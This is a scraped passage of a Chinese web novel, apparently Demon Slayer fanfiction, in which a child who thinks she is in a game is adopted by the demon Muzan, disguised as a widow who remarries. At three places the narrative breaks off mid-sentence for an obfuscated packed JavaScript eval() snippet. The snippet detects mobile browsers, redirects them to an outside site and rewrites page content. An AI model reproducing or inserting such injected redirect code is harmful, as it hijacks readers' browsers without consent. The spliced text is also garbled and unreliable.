看得不顺眼就杀掉,看得顺眼就给点嫁妆让她滚,至于看得非常顺眼嘛…… ‘多给些血,把她变成鬼好了。’ 落月疑惑地摸了摸突然寒毛耸立的后颈,继续翻找游戏日志。 “这游戏明明有好感度系统但不显示具体数值是几个意思?”玩家不满,“我该怎么知道有没有成功攻略新手村NPC?” 莫非有好感度影响支线的设定?不同好感解锁不同的结局CG? 落月看了眼她美丽的恶毒继母,为NPC建模宽容地原谅了游戏开发组。 妈妈生来就是玩家的妈妈啊,妈妈怎么会害玩家呢? 没听见母亲大人说的吗,她来吉原就是为了用绑架代替领养,抓个小孩给她当女儿。 假如落月没有选择逃跑,她也一定会在京极屋和玩家命中注定的恶毒继母相遇,她们的相遇是宿命的必然。 “月华夫人,这是?” 小轿车停在花园入口,西装革履的男人弯腰拉开车门,首先跳下车的却不是令他魂牵梦萦的美艳妇人,而是一个不满五岁的小女孩。 小女孩站在车门边,将手伸进车内,高傲冷艳的女人搭着她的手,款款下车。 “是我的女儿。”美妇人以手掩唇,“来,叫叔叔。” 终于有玩家自我介绍的机会了,落月是说这款游戏怎么一直不让玩家输入昵称,原来在这儿等着呢。 很有代入感的设计,像她之前打P5的时候在认罪书上签字一样,非常身临其境。 玩家先存了个档。 “你好。”她大声和富商NPC打招呼,“我的名字是全游唯一指定小皇帝,你可以叫我陛下。” 富商:“……” 鬼舞辻无惨:“……” 【您已死亡。】 落月:“欸——!!!” 玩家这就死了?只是玩了个梗就死了? “游戏环境这么严肃的吗?”落月嘀嘀咕咕,选择读档。 她再次自我介绍:“我是注定一统吉原的王,你可以叫我吉吉国王。” 【您已死亡。】 落月:怎么回事,NPC是敏感肌吗? 话说到底是谁杀了她两次? 恶毒继母要颜值有颜值,要人品有颜值,一定不是她干的。 落月:好啊,黑心富商,杀到你游皇帝头上去了,我记住你了! 玩家再次读档。 “叔叔好。”小女孩礼貌地打招呼,“初次见面,我是落月。” 富商的目光在一大一小的脸上来回移动,露出信服的神色:“落月小姐,你与月华夫人长得可真像。” 其实仔细看两人的五官并不相似,鬼舞辻无惨是一种刻薄尖锐的美,小女孩的脸蛋尚未长开,却已经能窥见几分惊艳。 奈何她们发色眸色和苍白的肤色如出一辙,连名字都像一个系列,天王老子来了也要判决这是一对亲生的母女。 落月的回答和富商的反应让鬼舞辻无惨很满意,他之前忘了问便宜女儿的名字,只一口一个小蠢货的叫她,没想到她的回答还挺得体。 明明出身十分寒酸,渣爹看起来也不是什么有文化的人,鬼舞辻无惨都做好了听见类似狗蛋、麻花、二妞等蠢名字的准备。 若真如此,他将用贱命好养活的说辞敷衍过去,再用鬼王无敌的取名技巧给小孩取个新名字。 鬼舞辻无惨很擅长取名,十二鬼月的名字全是他亲自取的,放在现代高低是个OC妈。 落月,他缓慢地咀嚼,是个漂亮好听的名字。 与十二鬼月也很相称,完美踩在鬼舞辻无惨的喜好上。 捡她回来是个正确的决定,他理所当然地夸夸自己,小女孩既审时度势又会看人眼色,没有在自我介绍时闹出“叫我女王大人”“我是急急国王”的笑话,令人十分省心。 鬼王有自己的尊严在,他杀人的理由很多,但鬼舞辻无惨相信他至少不会因为别人名字猎奇就痛下杀手…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412134|200681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概。 “没想到用真名才能躲开死亡CG。”玩家咕哝,“游戏判定好严格啊,这也要实名制?” 可能因为她玩的是内测版本,全息游戏舱是远房亲戚指名寄给她的,为了防止落月把游戏舱放上转转回收,特意在游戏里设置了必须输入真名作为昵称的限制。 总不可能是因为玩家天才的取名方式激怒了有文化又小心眼爱面子的NPC叭,怎么可能呢。 落月被化名月华夫人的鬼舞辻无惨牵着手,带着她走进富商安排的豪华洋房。 富商实在有钱,他对月华夫人一见钟情后百般追求,听说心上人死了老公又被夫家夺了家产,更是怜惜不已,连忙将名下一栋带花园的洋房送过去。 月华夫人几番推辞,真是一位矜持的寡妇,而后又说她还有个可怜的女儿,不能让女儿跟着她吃苦,才收下洋房。 好一位善良的慈母,如果女儿不是在街上随便捡的就更善了。 落月顺利的在进入游戏第一晚入住大豪宅。 新的地图,新的探索,玩家特码头的来啦! “你的房间是这一间。”鬼舞辻无惨指了指,“明天让仆人带你去买衣服,别在我面前穿的一身穷酸样。” 外观什么的无所谓啦,反正玩家身无分文,NPC想玩奇迹落月要自己掏钱。 落月:一句话让NPC为我氪金,玩家倒反天罡。 小女孩顺从地点了点头,鬼舞辻无惨今晚在吉原杀了个人又捡回一个女儿,回来后还要应付富商愚蠢粗鄙的求爱和痴缠婚期的询问,精神有些乏了,只想回房间休息,打发落月自己去玩。 整栋洋房的仆人都知道月华夫人貌美但心狠手辣,对夫人带回来的小姐自然毕恭毕敬,不敢因为她年纪小就阳奉阴违。 落月先在新地图存了个档,然后把洋房里能探索的区域都探索了一遍。 “没有搜罗到什么有用的道具呢。”把厨房的小点心尝了个遍,杵在碎成八瓣的花瓶边,玩家陷入沉思。 这不应该,除非——这栋房子的玩法不是解密探索,而是专门留给玩家装修玩的,是游戏特意设计的氪金点! 谁不喜欢搞装修呢,落月可是猛女捡树枝游玩时长累计2000小时的资深玩家,她曾为还房贷日夜兼程给黑心狸猫打工,不舍昼夜。 然而游戏第一天,玩家口袋空空。 落月不死心地询问管家能否为她提供贷款服务,得到管家“天呐小姐你在对打工牛马说什么屁话”的天方夜谭脸。 “罢了。”落月偃旗息鼓,“家具暂时没法变动,但我既然占领了这栋房子,必须彰显出领主的气势来。” 花园洋房的初始装修还算华丽,只是太鬼气森森了,玩家不喜欢。 “给我把窗帘全部拉开。”她大手一挥,“让阳光照射进来,好好驱一驱鬼气。” 落月抵达洋房已是后半夜,探索豪宅又花了不少时间,仆人拉开窗帘时天已经亮了。 “今天是艳阳高照的一天呢。”落月满意地点头。 玩家一夜没睡仍神采奕奕,跟着仆人去买衣服前不忘让她们叫亲爱的继母起床:“阳光这么好,母亲大人应该多晒晒太阳。” 仆人你看看我我看看你,不敢去吵醒脾气很差的月华夫人。 幸好鬼舞辻无惨还记得他捡回来一个便宜女儿。 他在窗帘紧闭不透出一丝阳光的房间里睁开眼,耳畔捕捉到小皮鞋踩在地毯上的声音,决定推门出去看看他给奇迹落月氪金的结果。 鬼舞辻无惨推开房门。 正午的阳光洒满客厅,整栋洋房毫无阴霾,随着鬼舞辻无惨推门的动作,炽热的阳光顺着敞开的门缝侵入他房间的地毯。 鬼王发出尖锐爆鸣。 5. 玩家登场第五天 玩家的恶毒继母生病了。 病的很突然,一整个白天都不肯出门,直到太阳落山才阴沉着脸下楼,把管家骂了个狗血淋头。 言辞之激烈能把死人骂活,落月抵达客厅的时候管家已经活人微死。 养女的到来让鬼舞辻无惨稍稍收敛了脾气。 洋房里的仆人由富商出钱雇佣,未来的夫人管教仆人不要紧,若是连“亲生女儿”都动辄打骂,完美贵夫人的形象难免遭人质疑。 “过来让我看看。”他朝落月招手。 新手村NPC要检查他给奇迹落月氪金的成果了,玩家对自己的搭配之力很有自信,拎着荷叶边的裙摆旋转了一圈。 落月眼中的自己:看我的高分穿搭! 鬼舞辻无惨眼中的玩家:人型圣诞树,全靠一张脸硬撑。 恶毒继母捏了捏眉心,薄唇一张马上要像机关.枪一样吐露出连串的刻薄话。 小女孩眼巴巴地望着他,一副生怕他不满意的模样。 落月:就算不满意,给玩家氪的金也不可能退还哈,没有返现的义务。 罢了,鬼舞辻无惨想,小孩能有什么高端审美,她知道买最贵的穿已经打败了99%的同龄人。 女人冰凉柔软带着幽香的手指拢了拢落月颊边的碎发,冷淡地说:“在婚礼上可不能穿这一身。” 婚礼?落月捕捉到关键词,新手村NPC终于要给玩家发布任务了吗? 她一定会好好干的! “是!”小女孩庄重地敬了个礼,“我发誓,即使拼上性命也一定会让母亲大人的婚礼圆满成功。” “如果新郎中途想逃婚,我会用绳子把他捆回来,像绑过年的猪一样丢在母亲大人脚下。” “倘若新郎敢在交换戒指环节说自己后悔了,我会把他的两根无名指一齐斩下,让他此生再也戴不上第二枚戒指。” “假如新郎的亲友在婚礼现场大喊母亲大人配不上他,我将一人一砖头杀至婚礼现场血流成河,直到母亲大人的婚纱变成您眼睛的颜色为止。” 尽管放心交给玩家吧,她一定不会搞砸的! 洋房里的管家和仆人:“……” 不愧是夫人亲生的崽,小小姐好可怕! 鬼舞辻无惨:一场婚礼倒也不必出现这么多意外。 “他敢?”美艳的夫人勾了勾红润的薄唇,心情不错地捏了捏小女孩柔软的脸颊肉,“你还挺忠心。” “因为我最喜欢母亲大人了。”玩家趁机说出经典的加好感台词。 虽然系统没有提示,但看恶毒继母的表情,这波稳了。 她真是个galgame天才,虽然她玩的好像不是galgame,但是管它的,总之玩家是天才。 落月积极地参与婚礼筹备中。 按照流程,婚礼当天新娘上午梳洗化妆换好婚纱,中午与新郎一起前往神社进行神前式的仪式,下午新婚夫妻转移至酒店举办披露宴,晚上再回新居圆房。 是一场硬战,玩家雄心壮志。 “白天的环节都取消。”鬼舞辻无惨漫不经心地说,“我只出席晚上的婚宴。” 刚写完婚礼策划书的落月:硬了,拳头硬了.jpg 有特殊要求不知道早说吗?她宣布你不再是她心爱的新手村NPC,降级为卑鄙的甲方。 “婚礼为什么在夜晚举行?” 婚礼当天,来客中的一位公开质疑道:“新娘为何整个白天都不曾露面,也不移步神社举办神前式的仪式?” “这个……”管家不好明说,只能道,“老爷和月华夫人都喜欢西方文化,故而决定在酒店举办纯西式的婚礼。” 他咬重了“月华夫人”几个字,暗示来宾:你又不是不知道我家老爷娶的是个寡妇,老爷的前妻死得蹊跷,他心虚不敢去神社请求神明庇佑也是人之常情。 “至于新娘为何不在白天露面,”管家解释说,“月华夫人身体娇贵,不宜晒太阳。” 月华夫人在与富商相识前已在交际圈内小有名气,她肤若凝霜,苍白得像吸血鬼一样,十分符合上流审美。 如此美人忌讳阳光晒伤她的皮肤也很正常,宾客们大多都表示了理解。 偏偏此人不依不饶:“哪有人一上午的太阳都晒不了的?闻所未闻!我看她根本不是个女人,她简直是个——” “蜜罐子?”落月接话。 男人狠狠吓了一大跳:“谁在说话?!” 声音是从地下传来的,好诡异好恐怖,一定是哪里来的妖怪——男人低下头,视野中出现一个只有他膝盖高的四岁半小女孩。 黑发红瞳,肤白似雪,他瞬间将人与名字对上号:月华夫人带过来的小拖油瓶。 难怪睁眼说瞎话闭眼夸亲妈。 和小孩子计较会显得他心眼小,但男人又实在想宣泄他对月华夫人的不满,一时间脸憋得像便秘一样。 玩家一看就知道NPC有屁要放。 太明显了,落月穿梭在宾客中想找头顶有红色感叹号的NPC接任务,一眼看中了他。 玩家:什么支线任务,你尽管说来。 哪怕是抢婚也行,她有的是力气和手段,就算想尽办法也一定让你加入恶毒继母和便宜继父的婚礼play,包圆梦的。 没有哪个渴望倾诉的人能赢过一双理解的眼睛,男人在落月的注视下补完了他说到一半的话: “我怀疑月华夫人根本不是个人,只有鬼才不能晒太阳。” 落月本来聚精会神听NPC放屁,闻言露出“就这?”的迷惑表情。 有没有点常识,世界上有一种病叫紫外线过敏。 “你自己戴有色眼镜看人就算了,不要以为人人都像你一样目盲。”玩家狠狠维护她的新手村NPC,“你见过真正的鬼吗?” 玩家可是见过的,而且是上弦之六的稀有鬼,眼睛里刻着特别明显的字,时髦得很。 “我只是听说过又怎样!”男人咬牙,“月华夫人本来就不对劲!” “她住的洋房在白天都会把窗帘拉得严严实实,贴身服侍的仆人换了又换,对外宣称是因为多嘴嚼舌被辞退,实际上分明是失踪了!只有你那继父像被猪油蒙了心一样非她不娶,真是气煞我也!我妹妹不比她强多了?” 说到最后,男人已经口不择言,把真心话一并讲了出来。 听前半段的时候落月还觉得细思极恐,听到最后一句她恍然大悟。 合着此人一直想把自己的妹妹嫁入豪门,结果中途被玩家的恶毒继母截胡,他无能狂怒,这才故意在婚礼上找人晦气。 “你对母亲大人很了解嘛。”落月掰着手指数,“知道她在家喜欢把窗帘拉上,知道她贴身的仆人换了几个,甚至刻意打听了仆人被辞退后的去向,如今还对娶了她的男人恶语相向——我说,你是不是暗恋月华夫人呀?” 男人声音提高八度:“我不是!我没有!别瞎说!” 落月:“看,恼羞成怒了。” 害羞是恋情开始的第一步,要勇敢正视自己的心意啊! NPC被玩家气到七窍生烟,转身朝新郎走去。 落月:啊,真要抢亲吗? 玩家只带了一条捆年猪的绳子,是不是不够用? 以防万一,她决定再去搞一条结实的绳子,万一要捆两只猪呢。 这游戏真是越玩越有。 “捆猪的绳子?”捧着首饰盒的女仆路过被落月拦住,为难地说,“我等会儿帮您去找好吗?我得先把首饰盒给夫人送过去。” “我帮你拿。”落月自告奋勇。 玩家必须赶在抢婚事件出现准备好装备,小小跑腿任务就交给她吧。 小女孩双手捧着首饰盒,穿梭在酒店的人群间,寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412135|200681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找新娘休息室的位置。 新娘休息室离酒店前厅较远,落月迈着小短腿走了半天才走到,她双手被首饰盒占据,脚又很酸,干脆用头槌敲门。 玩家的脑袋没有撞到坚硬的门上,休息室的门虚掩着,她跌跌撞撞地踉跄了几步,撞进一个冰冷幽香的怀抱。 “毛手毛脚的。”鬼舞辻无惨斥责了一句,他没有从落月手中接过首饰盒,只掀开了盒盖,手指伸入盒中挑挑拣拣。 挑剔了半天,他勉强选中一只玳瑁胸针,别在落月的衣服上。 “连首饰都不知道自己搭配。”恶毒继母刻薄地说,“今早不是让仆人送了很多给你?” 落月:可素都是纯金的首饰,杀伤力好低。 她想要鸨母的纯黄铜金簪,好使。 不过鸨母的金簪比起恶毒继母的指甲就差得远了,新手村NPC自带的本命武器好生强劲,玩家嫉妒。 小女孩被呵斥着低下头不知在想什么,鬼舞辻无惨莫名其妙地看着她捧起他的手,柔嫩的指腹轻轻地摩挲这具拟态身体的指甲。 雾霭般的蓝色,极其尖锐,轻易便能划破人类的血肉。 只有不晓得厉害的孩子才会单纯的、饱含羡慕的抚摸,鬼舞辻无惨冷嗤。 玩家:并非如此,我有存档。 而且她不止是想摸一摸,要是母亲大人愿意大发慈悲拔一片指甲送给她就好了,玩家会把它当作母亲大人一样敬爱的。 落月摸够了,转而去牵美艳夫人的手:“到新娘出场的时间了。母亲大人不用担心,我已经准备好了两条用来捆年猪的绳子,绝对万无一失。” 鬼舞辻无惨:给我把绳子扔了。 他嫌弃地拽了拽婚纱垂地的拖尾,几片玫瑰花瓣从婚纱裙摆上抖落,掉在地毯上。 “捧花怎么摔在地上了?”落月低头看见洒了一地的鲜红玫瑰花瓣,打翻的香水瓶歪倒在地毯上,香气浓郁刺鼻。 小女孩打了个喷嚏,不适地揉揉鼻子。 空气中的血腥味只有鬼的嗅觉能闻到,鬼舞辻无惨半个字都懒得解释,冷声让养女快点走,不要耽误婚礼仪式。 落月顺利地把新娘带到会场,她一边急匆匆地去找女仆拿第二根捆猪绳子,一边在人群里搜寻第二头年猪的去向。 以此男对恶毒继母爱恨交织的扭曲感情,他肯定不会让婚礼顺利进行,玩家时刻准备着! 落月坚守岗位。 坚守…… “落月小姐,仪式结束,可以去吃席了。”管家走过来小声提醒道。 玩家:??? 抢亲呢?悔婚呢?三十年河东三十年河西莫欺少年穷呢? 婚礼一点儿波折都没有岂不是显得手握两条捆猪绳的玩家很呆吗? 落月决定给游戏打差评,好无聊的展开,完全辜负了玩家的期待! 她一边内心写了八百字小作文给游戏打一星差评,一边坐在宴会主桌吃席。 天呐,好好吃,秒了她家方圆五千米内所有外卖。 落月:打个三星吧,米其林三星。 玩家真是很好哄,美艳的继母勾勾手指玩家又颠颠地跟了上去,乖巧地任继母拿她当借口拒绝新婚丈夫的圆房请求。 落月:啊对对对,我是离开母亲觉都睡不好的可怜小女孩。 “可是,月华夫人……”便宜继父试图再争取一次,管家却在这时急匆匆跑过来,附耳低声说话。 “什么!”便宜继父的声音下意识拔高,又刻意地压低,“财田先生在酒店里失踪了?” 见管家点头,便宜继父的额头出了一层汗,他顾不上和新婚妻子多交代两句,跟着管家疾步离开。 落月站在原地,拽了拽美艳继母的袖子:“母亲大人,财田先生是谁?” 鬼舞辻无惨瞥了她一眼,轻飘飘地回答:“你打算捆起来的第二头猪。” 6. 玩家登场第六天 玩家的人头又被抢了。 到底是谁一直在抢玩家的人头,落月想不通啊! 不不,她要乐观一点,第二头年猪只是失踪而已,说不定没死呢。 他或许是无意间看见了玩家手中的捆猪绳,被玩家身上独属强者的王霸之气深深震撼,自知不敌,羞愧而逃,离开这个伤心地。 都是玩家太过优秀惹的祸,小女孩老气横秋地叹了口气。 鬼舞辻无惨听见养女叹气,问她又怎么了,落月如是这般如是那般含蓄地讲述了玩家太过优秀造成的烦恼。 鬼舞辻无惨:“……” 她还挺会为自己揽功的。 财田先生失踪案很是让便宜继父焦头烂额了一阵子,和新婚妻子的蜜月时间也全部泡汤,生动形象地演绎了何为无能的丈夫。 真的很无能,落月确定以及肯定,这对新婚夫妻至今没有圆房,美艳继母每天都在独守空房。 落月对这段婚姻很不看好。 她可没忘记恶毒继母之前梳的寡妇髻,人家已经守寡好几年了,本以为二婚能吃点好的,谁曾想又要守活寡! 惨,太惨了,男人真是一个比一个不中用,额滴继母,玩家心疼你。 人心都是偏的,私密马赛便宜继父酱,虽然她吃你的穿你的住你的,但她彻头彻尾是妈咪的人,玩家不会向你透露恶毒继母偷人的小秘密。 没错,落月发现了家里的秘密:继母在偷人。 偷的很隐蔽,但她是谁,她可是高贵的玩家,没有蛛丝马迹能逃过玩家的法眼。 自从给奇迹落月氪金后,继母便接手了玩家的衣橱,时不时给养女定制购置新衣,顺便也给自己买新衣服。 据落月观察,继母订购的衣服女装男装对半分。 她可以发誓,男装绝对不是给便宜继父买的,尺寸完全不对,便宜继父想把自己塞进衣服里得先去做个抽脂手术。 除了继母在房间里悄悄偷人之外,落月想不出第二种可能,总不可能恶毒继母其实是个阴阳人,每到晚上便会变成男儿身叭! 比起相信美艳继母男扮女装恶意骗婚,落月宁可相信母亲大人只是深闺寂寞偷吃罢了,只是犯了天下女人都会犯的错而已,无足挂齿。 为了替恶毒继母守住偷吃的秘密,落月这些天都只在白天探索地图,夜晚在卧室挂机睡觉,眼睛一闭一睁一晚就过去了。 直到一个夜晚,落月半夜惊醒。 小女孩垂死梦中惊坐起,她在黑暗里左顾右盼,手指抓紧柔软的被褥。 夜风透过窗户的缝隙将窗帘吹得哗哗作响,皎洁的月光洒在地毯上,如霜似雾。 落月掀开被子,夜晚的凉意拂过她的小腿,女孩子不由得打了个激灵。 她看了眼时间,凌晨三点半。 而玩家设置的挂机时间是早上七点整。 玩家不做噩梦,玩家不会失眠,玩家拥有婴儿般良好的睡眠,当一个玩家想睡觉时,全世界的喧嚣都要为玩家让路。 ——除非触发了特殊剧情。 落月在躺下来继续睡和深夜出门探索之间果断选择了夜游。 这就是Gryffindor精神!夜游万岁! 当然,落月没有忘记存档,因为她暂时无法确定特殊剧情的触发方式,不知道游戏半夜让她惊醒是希望她出门探索,还是躺在床上装睡守株待兔等特殊剧情自己送上门。 黑发红瞳的小女孩一边坐在床沿边穿鞋一边思索第二种可能: 如果是温馨向展开,特殊剧情可能是恶毒继母半夜悄悄推门进屋,柔情似水地用徒手掏心的手为养女掖好被角; 如果是恐怖向展开,来的依然是恶毒继母,依然柔情似水,依然徒手掏心…… 落月:母亲大人为何要这样对待可爱的贴心小棉袄? 难道发现她用黑心棉以次充好了? 落月摇头甩掉脑海中纷杂的想象,她用鞋尖磕了磕地板,抬脚出门。 洋房的布局显示在系统地图中,不过即使没有地图,落月闭着眼都不会走错。 登录即送的豪华大house是玩家的领土,身为领主,普天之下莫非王土! 守夜的仆人:“小小姐,你为什么大半夜不睡觉站在走廊中央叉腰?” 玩家:放肆,领主的行踪岂是尔等胆敢窥伺的? 被守夜的仆人遣送回房间并发现仆人站在门口不走的领主愤怒读档。 重新回到房间的落月反思了一秒,在出门前先点开了系统地图。 以她为中心,洋房的布局图由近到远依次浮现,地图上分散着灰色的小圆点。 一个圆点代表一个人,圆点上方灰色的字体标明了玩家的备注。 “走廊上有两个守夜的仆人,恶毒继母在书房——大半夜不睡觉卷学历?好心机。管家在厨房,竟然在领主眼皮底下偷吃夜宵,你路走窄了……” 伟大的领主巡视她的领土,这款游戏的地图设计很有意思,它会为玩家标注出地图上所有NPC,但NPC的名字全部来自玩家的备注。 比如美艳的恶毒继母、无能的便宜继父、不肯为玩家提供贷款的吝啬管家、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412136|200681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸鱼的仆人甲乙丙丁、全家做饭最好吃的厨娘、迟早让他炒鱿鱼滚蛋的懒惰园丁……等等等等。 多么一目了然,助力玩家成为交际小天才的好帮手。 放眼全地图找不到一个正经的人名,是因为玩家不是个正经人吗? 是的,没错,正是如此。 落月:并非如此,我只是认为人与人之间的交往应该更加深入本质——比如我说“这是高井先生”,你必然一头雾水心想谁啊,但假如我说“有请无能的丈夫”,人们便会恍然大悟。 无能的便宜继父今晚也没能成功留宿,落月查看完洋房里面的圆点,将地图扩展到花园。 大半夜花园里应该是没有人的,即使是园丁也住在仆人房,落月只是本着玩家不放过任何线索的原则随意看了一眼。 一枚灰色的圆点浮现在地图上,仿佛海洋中的孤岛。 圆点上方的备注是【???】。 这代表落月完全不认识对方,闻所未闻。 半夜三更,出现在私人花园里的陌生人——玩家的雷达动了:不会有错,一定是今晚的特殊剧情! 会是怎样的展开呢? 有可能是小偷,深夜潜入富商家中行窃,不幸被机智勇敢的玩家识破阴谋,小偷在玩家面前潸然泪下,声称只是想劫富济贫挽救自己生病的老母亲,玩家大为感动,慷概地出卖无能的便宜继父,好一个善良的大孝女。 也可能是深夜求职人,不知从哪儿打听到洋房里的园丁十分懒惰不爱干活,即将被炒鱿鱼滚蛋,遂深夜毛遂自荐,准备连夜把花园打理一遍以证明自己的勤劳能干,恳求玩家给个上岗的机会:拜托了打工人什么都会做的! 无论哪种展开,都是玩家加声望的大好时机,是玩家展示领主魅力的良辰吉日。 小女孩开心地掂了掂脚尖,她用更轻的动作打开房门,小心翼翼地绕过守夜的仆人,小步跑向花园。 深夜万籁俱寂,只有小皮鞋哒哒踩在地板上的声音,落月踩过松木板,踩过青石砖,踩进花园皎白的月色中。 素月当空,照耀地面上高大的背影。 身着紫色蛇纹和服和黑色马乘袴的武士背对月亮,他单手持刀,挥出的剑技仿佛天之月华,不似人间景色。 惊鸿一瞥,见之难忘。 收刀入鞘的细微响声让落月清醒过来,她后知后觉地发现自己摒住了呼吸,一动不动地站在原地。 【系统:恭喜玩家触发本世界战斗体系——呼吸法】 落月:“!!!” 教练,她想学这个! 7. 玩家登场第七天 半夜三更不睡觉果然有好事发生,玩家终于触发了游戏的战斗系统。 只能用鸨母的金簪和碎颅大砖头平A的苦日子总算熬到了头,玩家将鸟枪换炮走上人生巅峰,在世界之巅留下自己传奇的名字,缔造一段不朽的华丽传说! 想想就让人热血沸腾啊! 落月燃起来了,小女孩着迷地盯着武士高大的背影,即使身后多出一道鬼影也无知无觉。 鬼舞辻无惨诡谲无声地出现在落月身后,红梅色的瞳孔微微眯起。 不等他开口说些什么,深夜在外游荡的养女主动转过身,欢快地扑进他怀里,像活泼小鸟一样叽叽喳喳地说: “那位先生是母亲大人为我请来的剑术老师吗?谢谢你母亲大人!我好高兴,好爱你!” 小女孩的眼睛亮晶晶的,与鬼之始祖相似的红梅色猫瞳圆润明亮,眼中满是孺慕和崇拜。 落月:不愧是我的新手村指引NPC,瞌睡来了递枕头,真的好贴心。 曾经被上弦之六的BOSS堕姬三杀的屈辱玩家铭记于心,玩家不甘,玩家震怒,玩家发誓终有一天定要一雪前耻! 恶毒继母分明不知道这段往事,却如此默契的为玩家送来了呼吸法教学NPC,这是什么精神?这是母女同心其利断金精神! 太感动了,落月太感动了,她们母女不是亲生胜似亲生,待玩家登上世界之巅,她将深情为恶毒继母献唱一首世上只有妈妈好,有妈的玩家像块宝。 小女孩感动得泪眼汪汪,鬼舞辻无惨看着她的模样,觉得有趣。 他似笑非笑地勾了勾刻薄的唇角,开口道:“黑死牟,过来。” 高大的武士转过身,紫色蛇纹和服在夜风中簌簌作响,他沉稳地迈步,朝落月走来。 越是走近,身形带来的压迫感越强,宛如天堑的身高差让落月即使仰头也难看见他的全貌。 高悬于夜空的素月被全然遮挡,只有骇人的赫金色六目居高临下地审视。 武士模样的六目恶鬼向鬼舞辻无惨颔首:“无惨大人。” 他正中央的瞳孔中烙印着清晰的文字:上弦,一。 落月裂开了。 玩家呆呆地愣在原地,仿佛被世界的恶意扇了两巴掌。 上一秒,她还在想学会呼吸法找上弦之六一雪前耻的美事。 下一秒,玩家惨遭上弦之一贴脸暴击。 众所周知,六比一大,落月怀着微薄的希望,希望有人告诉她堕姬才是鬼方最强BOSS,玩家的一腔热血没有被冰冷的现实狠狠辜负。 身高足有一米九的黑死牟不发一言,他只是站在那里,就让一切企图贬低他战斗力的人像个小丑。 落月:鼻子怎么突然红红的…… 【系统:恭喜玩家看见世界的真实,红名系统已解锁】 姗姗来迟的系统提示音成为压倒骆驼的最后一根稻草,系统地图自动在落月眼前展开,灰色的圆点在刹那间染上鲜艳的色彩。 玩家的母亲大人,显示红名。 刺眼的猩红色明晃晃点在地图上,仿佛在嘲笑她错付的母女情深。 落月:怎会如此! 母亲大人,我们不是天下第一好吗?玩家可是远近闻名的大孝女啊!你竟然辜负了玩家! 她心碎了,不会再爱了,你不是她的好妈咪,你这个毒妇,让玩家好受伤。 就连初见面的上弦之一的恶鬼都好歹是个黄名,母亲大人歹毒如斯! 咦……黑死牟居然不是红名? 红名代表对玩家怀抱恶意,随时可能攻击玩家;绿名是友方单位,不会伤害玩家;黄名介于两者之间,不算友好,也不敌对。 落月:由此可得,恶毒继母果然是个毒妇! 瞧瞧人家上弦一都知道呵护玩家脆弱的心灵,鬼品大大滴好。 对比产生美,黑死牟的黄名看得玩家心里暖暖的,连想焦躁读档的心急都冷却了两分。 今晚出门夜游前落月存了一个档,如果她读档回去,选择不出房门继续睡觉,这一晚应该是个平安夜。 要读档吗? 恶毒继母不显示毒妇一面时还挺人模人样的,在便宜继父面前亦会装出一副慈母模样,吃穿用度上都没亏待过落月,给奇迹落月氪的金比玩家身价还高,零花钱也给的很大方。 如果假装今晚无事发生,日子也能继续过下去,平平淡淡才是真嘛。 黑死牟出现在这里是个偶然稀有事件,他可能以后还会来,也可能与落月再无交集。 玩家该如何选择? 她当然是选择…… “母亲大人要先生过来,是不是答应让我跟着先生练剑了?”小女孩雀跃地问。 她的手依然抓着鬼舞辻无惨的袖口,开心得眼眸弯成月牙。 竟是没有一丝惧怕六目恶鬼的模样。 黑死牟低头看了她一眼。 年幼的女孩子似乎对该看向他的哪双眼睛有些纠结,不过还是大大方方地露出了笑脸。 黑死牟移开了目光。 他只是应无惨大人的召唤而来,偶然看见夜晚皎洁无垠的月色,有感而发,寻一处空地练剑罢了。 没想到会被半夜不睡觉的小女孩目睹,甚至说出了想随他学剑的话。 “无惨大人……若无要事……属下告退。”黑死牟慢慢地说。 鬼舞辻无惨让黑死牟过来是想问问青色彼岸花的事,找了几百年连粒花粉都找不到,他有理由怀疑下属在消极怠工。 不过上弦之一在无惨老板心里的地位终究是不同的,他把黑死牟当自己的合作伙伴看待,不像对其他下属似的非打即骂。 既然黑死牟说没有青色彼岸花的消息,鬼舞辻无惨便摆摆手让他离开,他等会儿自己去书房继续翻古籍。 在此之前……鬼舞辻无惨意味不明地垂眸,冰凉的手指捏住落月的后颈。 那么大一个六目恶鬼在她眼前消失了,好恐怖的实力,玩家好羡慕。 她也想学徒手掏心和移形换影! 冰凉的手指触碰到落月温热的皮肤,致命要害被人拿捏让女孩子像被拎起的小猫似的乖乖仰头。 他胆大包天的养女露出无辜的表情,小女孩张开嘴想说话,夜晚的冷风无情地灌入她的喉咙,落月忍不住咳嗽起来。 细细的咳嗽声挤出猫儿似的嗓子眼,脖颈被压迫使她咳得更厉害,落月养了这些天才勉强养红润了一点儿的脸色又变回苍白的模样。 鬼舞辻无惨听她咳嗽了一会儿,半晌,他大发慈悲地松开手指。 